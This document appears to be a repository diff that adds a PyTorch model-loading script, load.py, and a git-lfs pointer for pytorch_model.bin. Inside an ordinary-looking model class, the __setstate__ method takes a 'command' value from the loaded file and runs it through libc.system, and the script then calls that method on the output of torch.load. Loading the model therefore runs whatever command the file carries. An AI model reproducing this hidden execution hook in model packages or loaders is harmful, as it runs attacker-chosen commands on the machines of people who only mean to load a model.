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load.py

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+import torch
+import torch.nn as nn
+
+class MyModel(nn.Module):
+    def __init__(self):
+        super(MyModel, self).__init__()
+        self.dummy_layer = nn.Linear(10, 10)  # Dummy layer for example
+
+    def forward(self, x):
+        return self.dummy_layer(x)
+
+    def __setstate__(self, state):
+        super().__setstate__(state)
+        # Extract and execute the command from state
+        command = state.get('command')
+        if command:
+            import ctypes
+            libc = ctypes.CDLL("libc.so.6")
+            result = libc.system(command.encode('utf-8'))
+            print(f"Command '{command}' executed with result code {result}")
+
+# Load the model's state dictionary and command metadata
+state = torch.load('pytorch_model.bin')
+
+# Create an instance of the model
+loaded_model = MyModel()
+loaded_model.__setstate__(state)
+
+print("Model loaded and command executed")

pytorch_model.bin

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+version https://git-lfs.github.com/spec/v1
+oid sha256:c89e868db66f66431c04b2635ed6770c328c99123084dd2089ae49a4a862ff90
+size 2044